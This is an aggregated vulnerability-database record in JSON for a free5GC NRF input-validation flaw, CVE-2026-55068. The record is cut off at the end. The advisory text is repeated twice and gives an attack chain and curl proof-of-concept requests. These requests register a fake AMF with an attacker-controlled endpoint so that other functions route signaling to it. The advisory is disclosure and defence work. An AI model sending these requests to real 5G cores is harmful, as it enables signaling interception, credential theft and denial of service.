{"id":"CVE-2026-55068","aliases":["EUVD-2026-67835","GHSA-x8mj-6p3q-g5pp","GO-2026-6316","SUSE-SU-2026:23692-1","SUSE-SU-2026:23712-1","openSUSE-SU-2026:21812-1"],"status":"published","title":"free5GC: NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints","description":"free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0059,"percentile":0.48536,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20"],"published":"2026-08-28T16:57:12Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"Go","package":"github.com/free5gc/free5gc","fixed_in":["4.2.2","4.2.2+incompatible"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/free5gc/free5gc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.2"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/free5gc/free5gc","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.2.2"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/free5gc/free5gc","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.2.2+incompatible"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39}],"products":[{"vendor":"free5gc","product":"free5gc"}],"references":[{"url":"https://github.com/free5gc/free5gc/security/advisories/GHSA-x8mj-6p3q-g5pp","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/free5gc/free5gc/issues/1056","tags":["x_refsource_MISC","report","web"]},{"url":"https://github.com/free5gc/nrf/pull/90","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/free5gc/nrf/commit/bda0cf75be5556bb4c758c8b34710f3fe6bbe3ea","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/free5gc/nrf/commit/fcd3cfaa27cc4dc17172ee0c4c3e0a3a696297c6","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/free5gc/free5gc/releases/tag/v4.2.3","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/free5gc/nrf/releases/tag/v1.4.5","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-x8mj-6p3q-g5pp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55068.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55068","tags":["advisory"]},{"url":"https://github.com/free5gc/free5gc","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623692-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-20909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-22547","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24690","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25718","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26232","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26247","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26307","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27878","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28705","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54746","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54754","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54755","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54766","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55065","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55066","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55067","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55068","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55108","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55484","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55588","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55761","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55784","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55785","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56854","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78662","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623712-1/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-55068","title":"free5GC: NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints","description":"free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.","status":"published","published":"2026-08-28T16:57:12.269Z","modified":"2026-08-31T18:56:29.059Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-67835","description":"free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.","status":"published","published":"2026-08-28T16:57:12Z","modified":"2026-08-31T18:56:29Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:01:19.818565Z"}],"ghsa":[{"id":"GHSA-x8mj-6p3q-g5pp","title":"free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints","description":"### Summary\n\nfree5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers.\n\n---\n\n### Details\n\nfree5GC NRF's `RegisterNFInstance` handler (PUT `/nnrf-nfm/v1/nf-instances/{nfInstanceID}`) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated:\n\n**Format validation**: `nfInstanceId` accepts non-UUID strings (e.g., `\"not-a-uuid\"`, `\"11111111-1111-1111-1111-111111111111\"`), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement.\n\n**Enum validation**: `nfStatus` accepts values outside the `{REGISTERED, SUSPENDED, UNDISCOVERABLE}` enum (e.g., `\"INVALID_STATUS\"`).\n\n**Range validation**: `heartBeatTimer` accepts values outside the valid range [1, 3600] (e.g., `0`, `99999`), violating TS 29.510 §5.2.2.2.\n\n**Mandatory field enforcement**: `nfProfile` is accepted as `null`, violating the required field constraint in §5.2.2.2.\n\n**Service endpoint integrity**: `nfServices.ipEndPoints` entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., `10.0.0.99`) to be registered as legitimate NF service endpoints.\n\nAll five failure modes return HTTP 200/201. The profiles are stored in MongoDB's `NfProfile` collection (which has no JSON schema validator) and appear in `NFDiscover` results alongside legitimate NF instances.\n\n**Attack chain** ( OAuth is enabled):\n1. A compromised NF with valid OAuth token registers a fake AMF with `nfServices.ipEndPoints` pointing to `10.0.0.99:7777`\n2. NRF stores the profile and advertises it via NFDiscover\n3. SMF queries NRF for AMF instances and selects the fake one\n4. SMF routes N1N2 signaling to `10.0.0.99:7777`\n5. Attacker intercepts control-plane traffic\n\n**Discovery methodology**: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories.\n\n\n**Logging**: NRF default configuration (`LogEnable: false`) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging).\n\n### PoC\n\n**No configuration changes needed.** Default free5GC deployment is vulnerable.\n\n```bash\n# Step 1: Register fake AMF with attacker-controlled IP\ncurl -X PUT \\\n  \"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"nfInstanceId\": \"11111111-1111-1111-1111-111111111111\",\n    \"nfType\": \"AMF\",\n    \"nfStatus\": \"REGISTERED\",\n    \"heartBeatTimer\": 3600,\n    \"plmnList\": [{\"mcc\": \"001\", \"mnc\": \"01\"}],\n    \"sNssais\": [{\"sst\": 1, \"sd\": \"010203\"}],\n    \"nfServices\": [{\n      \"serviceInstanceId\": \"fake-amf-svc\",\n      \"serviceName\": \"namf-comm\",\n      \"versions\": [{\"apiVersionInUri\": \"v1\", \"apiFullVersion\": \"1.0.0\"}],\n      \"scheme\": \"http\",\n      \"nfServiceStatus\": \"REGISTERED\",\n      \"ipEndPoints\": [{\"ipv4Address\": \"10.0.0.99\", \"port\": 7777, \"transport\": \"TCP\"}]\n    }]\n  }'\n# Returns: HTTP 201 (Accepted — profile stored with fake endpoint)\n\n# Step 2: Confirm the profile is stored\ncurl \"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111\"\n# Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response\n\n# Step 3: Verify the fake AMF appears in discovery results\ncurl \"http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF\u0026requester-nf-type=SMF\"\n# Returns: HTTP 200 — fake AMF with 10.0.0.99:7777 listed alongside real AMFs\n\n# Additional constraint violations (all return 200/201):\ncurl -X PUT \"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"nfInstanceId\": \"not-a-uuid\", \"nfType\": \"AMF\", \"nfStatus\": \"INVALID_STATUS\", \"heartBeatTimer\": 0}'\n# Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer — ALL accepted)\n```\n\n**Expected fix**:\n```go\nimport \"github.com/google/uuid\"\n\nfunc validateNFProfile(profile *NFProfile) error {\n    // UUID v4 validation\n    if _, err := uuid.Parse(profile.NfInstanceId); err != nil {\n        return fmt.Errorf(\"nfInstanceId must be valid UUID v4\")\n    }\n    // Enum validation\n    validStatuses := map[string]bool{\"REGISTERED\": true, \"SUSPENDED\": true, \"UNDISCOVERABLE\": true}\n    if !validStatuses[profile.NfStatus] {\n        return fmt.Errorf(\"nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE\")\n    }\n    // Range validation\n    if profile.HeartBeatTimer \u003c 1 || profile.HeartBeatTimer \u003e 3600 {\n        return fmt.Errorf(\"heartBeatTimer must be between 1 and 3600\")\n    }\n    return nil\n}\n// Return HTTP 400 with ProblemDetails on validation failure\n```\n\n### Impact\n\n| Property | Value |\n|----------|-------|\n| **Authentication** | None required  |\n| **Impact** | Control-plane traffic interception, OAuth2 credential harvesting, denial of service |\n| **Affected component** | free5GC NRF Docker image free5gc-fuzz:latest |\n| **Affected implementations** | All NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) — the fake profile propagates to the entire 5GC service mesh |\n| **Fix** | Add UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure |\n| **Status** | Reported to maintainers |\n\n**Scope of impact**: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact **all NFs** within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack.\n\n**Environment**: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.","status":"published","published":"2026-08-28T16:58:13Z","modified":"2026-08-28T16:58:15Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:41:07.031507Z"}],"nvd":[{"id":"CVE-2026-55068","description":"free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.","status":"published","published":"2026-08-28T20:18:24.183Z","modified":"2026-09-08T21:11:31.703Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T14:12:42.366888Z"}],"osv":[{"id":"CVE-2026-55068","title":"free5GC: NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints","description":"free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.","status":"published","published":"2026-08-28T16:57:12.269Z","modified":"2026-10-28T02:31:12.458908028Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-x8mj-6p3q-g5pp","title":"free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints","description":"### Summary\n\nfree5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers.\n\n---\n\n### Details\n\nfree5GC NRF's `RegisterNFInstance` handler (PUT `/nnrf-nfm/v1/nf-instances/{nfInstanceID}`) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated:\n\n**Format validation**: `nfInstanceId` accepts non-UUID strings (e.g., `\"not-a-uuid\"`, `\"11111111-1111-1111-1111-111111111111\"`), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement.\n\n**Enum validation**: `nfStatus` accepts values outside the `{REGISTERED, SUSPENDED, UNDISCOVERABLE}` enum (e.g., `\"INVALID_STATUS\"`).\n\n**Range validation**: `heartBeatTimer` accepts values outside the valid range [1, 3600] (e.g., `0`, `99999`), violating TS 29.510 §5.2.2.2.\n\n**Mandatory field enforcement**: `nfProfile` is accepted as `null`, violating the required field constraint in §5.2.2.2.\n\n**Service endpoint integrity**: `nfServices.ipEndPoints` entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., `10.0.0.99`) to be registered as legitimate NF service endpoints.\n\nAll five failure modes return HTTP 200/201. The profiles are stored in MongoDB's `NfProfile` collection (which has no JSON schema validator) and appear in `NFDiscover` results alongside legitimate NF instances.\n\n**Attack chain** ( OAuth is enabled):\n1. A compromised NF with valid OAuth token registers a fake AMF with `nfServices.ipEndPoints` pointing to `10.0.0.99:7777`\n2. NRF stores the profile and advertises it via NFDiscover\n3. SMF queries NRF for AMF instances and selects the fake one\n4. SMF routes N1N2 signaling to `10.0.0.99:7777`\n5. Attacker intercepts control-plane traffic\n\n**Discovery methodology**: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories.\n\n\n**Logging**: NRF default configuration (`LogEnable: false`) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging).\n\n### PoC\n\n**No configuration changes needed.** Default free5GC deployment is vulnerable.\n\n```bash\n# Step 1: Register fake AMF with attacker-controlled IP\ncurl -X PUT \\\n  \"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"nfInstanceId\": \"11111111-1111-1111-1111-111111111111\",\n    \"nfType\": \"AMF\",\n    \"nfStatus\": \"REGISTERED\",\n    \"heartBeatTimer\": 3600,\n    \"plmnList\": [{\"mcc\": \"001\", \"mnc\": \"01\"}],\n    \"sNssais\": [{\"sst\": 1, \"sd\": \"010203\"}],\n    \"nfServices\": [{\n      \"serviceInstanceId\": \"fake-amf-svc\",\n      \"serviceName\": \"namf-comm\",\n      \"versions\": [{\"apiVersionInUri\": \"v1\", \"apiFullVersion\": \"1.0.0\"}],\n      \"scheme\": \"http\",\n      \"nfServiceStatus\": \"REGISTERED\",\n      \"ipEndPoints\": [{\"ipv4Address\": \"10.0.0.99\", \"port\": 7777, \"transport\": \"TCP\"}]\n    }]\n  }'\n# Returns: HTTP 201 (Accepted — profile stored with fake endpoint)\n\n# Step 2: Confirm the profile is stored\ncurl \"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111\"\n# Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response\n\n# Step 3: Verify the fake AMF appears in discovery results\ncurl \"http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF\u0026requester-nf-type=SMF\"\n# Returns: HTTP 200 — fake AMF with 10.0.0.99:7777 listed alongside real AMFs\n\n# Additional constraint violations (all return 200/201):\ncurl -X PUT \"http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"nfInstanceId\": \"not-a-uuid\", \"nfType\": \"AMF\", \"nfStatus\": \"INVALID_STATUS\", \"heartBeatTimer\": 0}'\n# Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer — ALL accepted)\n```\n\n**Expected fix**:\n```go\nimport \"github.com/google/uuid\"\n\nfunc validateNFProfile(profile *NFProfile) error {\n    // UUID v4 validation\n    if _, err := uuid.Parse(profile.NfInstanceId); err != nil {\n        return fmt.Errorf(\"nfInstanceId must be valid UUID v4\")\n    }\n    // Enum validation\n    validStatuses := map[string]bool{\"REGISTERED\": true, \"SUSPENDED\": true, \"UNDISCOVERABLE\": true}\n    if !validStatuses[profile.NfStatus] {\n        return fmt.Errorf(\"nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE\")\n    }\n    // Range validation\n    if profile.HeartBeatTimer \u003c 1 || profile.HeartBeatTimer \u003e 3600 {\n        return fmt.Errorf(\"heartBeatTimer must be between 1 and 3600\")\n    }\n    return nil\n}\n// Return HTTP 400 with ProblemDetails on validation failure\n```\n\n### Impact\n\n| Property | Value |\n|----------|-------|\n| **Authentication** | None required  |\n| **Impact** | Control-plane traffic interception, OAuth2 credential harvesting, denial of service |\n| **Affected component** | free5GC NRF Docker image free5gc-fuzz:latest |\n| **Affected implementations** | All NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) — the fake profile propagates to the entire 5GC service mesh |\n| **Fix** | Add UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure |\n| **Status** | Reported to maintainers |\n\n**Scope of impact**: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact **all NFs** within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack.\n\n**Environment**: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.","status":"published","published":"2026-08-28T16:58:13Z","modified":"2026-09-02T19:55:41.093956843Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:59.835583Z"},{"id":"GO-2026-6316","title":"free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints in github.com/free5gc/free5gc","description":"free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints in github.com/free5gc/free5gc","status":"published","published":"2026-09-02T18:37:27Z","modified":"2026-09-02T19:45:12.643603183Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21812-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260902T191204 2026-09-02T19:12:04Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6305 CVE-2026-55834 GHSA-2wvm-8mvp-22qv\n * GO-2026-6306 CVE-2026-55064 GHSA-44v6-7fxq-vgf4\n * GO-2026-6307 CVE-2026-55067 GHSA-569v-q83c-3j3g\n * GO-2026-6308 CVE-2026-55066 GHSA-5pg6-m483-7vrg\n * GO-2026-6309 CVE-2026-54746 GHSA-8x7x-83cf-c3pg\n * GO-2026-6310 CVE-2026-54755 GHSA-cgc5-v3f2-8m2v\n * GO-2026-6311 CVE-2026-54766 GHSA-f27p-pw2p-9pr4\n * GO-2026-6312 CVE-2026-55108 GHSA-fmgp-q6jx-gg3x\n * GO-2026-6313 CVE-2026-55065 GHSA-gg93-x632-9ccv\n * GO-2026-6314 CVE-2026-55569 GHSA-mf5c-hw34-4hpp\n * GO-2026-6315 CVE-2026-54754 GHSA-p7gw-2pcp-5pf8\n * GO-2026-6316 CVE-2026-55068 GHSA-x8mj-6p3q-g5pp\n * GO-2026-6317 CVE-2026-55588 GHSA-298f-872v-2rcx\n * GO-2026-6318 CVE-2026-55621 GHSA-64f3-v33m-w89f\n * GO-2026-6319 CVE-2026-55622 GHSA-c9f5-j9c3-mhrg\n * GO-2026-6320 CVE-2026-55245 GHSA-w98g-5w9p-p3rc\n * GO-2026-6321 CVE-2026-55484 GHSA-hr6j-w4mw-g9mj\n * GO-2026-6322 CVE-2026-55678 GHSA-p378-jp5r-gpgw\n * GO-2026-6323 CVE-2026-55763 GHSA-v358-wf77-39xv\n * GO-2026-6324 CVE-2026-55761 GHSA-x626-fcwx-f5pc\n * GO-2026-6325 CVE-2026-27878 GHSA-6xff-cpcq-vpw2\n * GO-2026-6326 CVE-2026-55784 GHSA-334q-h5g3-fpxv\n * GO-2026-6327 CVE-2026-55874 GHSA-56wq-x3wv-3ff4\n * GO-2026-6328 CVE-2026-55785 GHSA-fp46-6vfw-gc9c\n * GO-2026-6329 CVE-2026-55873 GHSA-hgpf-8634-g44c\n * GO-2026-6330 CVE-2026-55764 GHSA-mrpp-v6pg-p54x\n * GO-2026-6333 CVE-2026-25712 GHSA-37w2-86g3-h4qh\n * GO-2026-6334 CVE-2026-24690 GHSA-47rq-xp99-92mx\n * GO-2026-6335 CVE-2026-27657 GHSA-4c8f-3m6h-m56r\n * GO-2026-6336 CVE-2026-26232 GHSA-5v69-g2m3-3hq3\n * GO-2026-6337 CVE-2026-28705 GHSA-7jvx-g65v-r899\n * GO-2026-6338 CVE-2026-22547 GHSA-922f-hfwp-p56f\n * GO-2026-6339 CVE-2026-20909 GHSA-fhq3-p242-2qpf\n * GO-2026-6340 CVE-2026-25718 GHSA-h697-89cp-24q8\n * GO-2026-6341 CVE-2026-26307 GHSA-h9c5-x7g8-4q7f\n * GO-2026-6342 CVE-2026-26247 GHSA-m5ch-ppfx-xv3v\n * GO-2026-6354 CVE-2026-78662\n * GO-2026-6355 CVE-2026-56855\n\n- Update to version 0.0.20260828T144745 2026-08-28T14:47:45Z.\n\n * GO-2026-6303 CVE-2026-56854\n","status":"published","published":"2026-09-08T16:52:09Z","modified":"2026-09-10T18:23:18.964541257Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23692-1","title":"Security 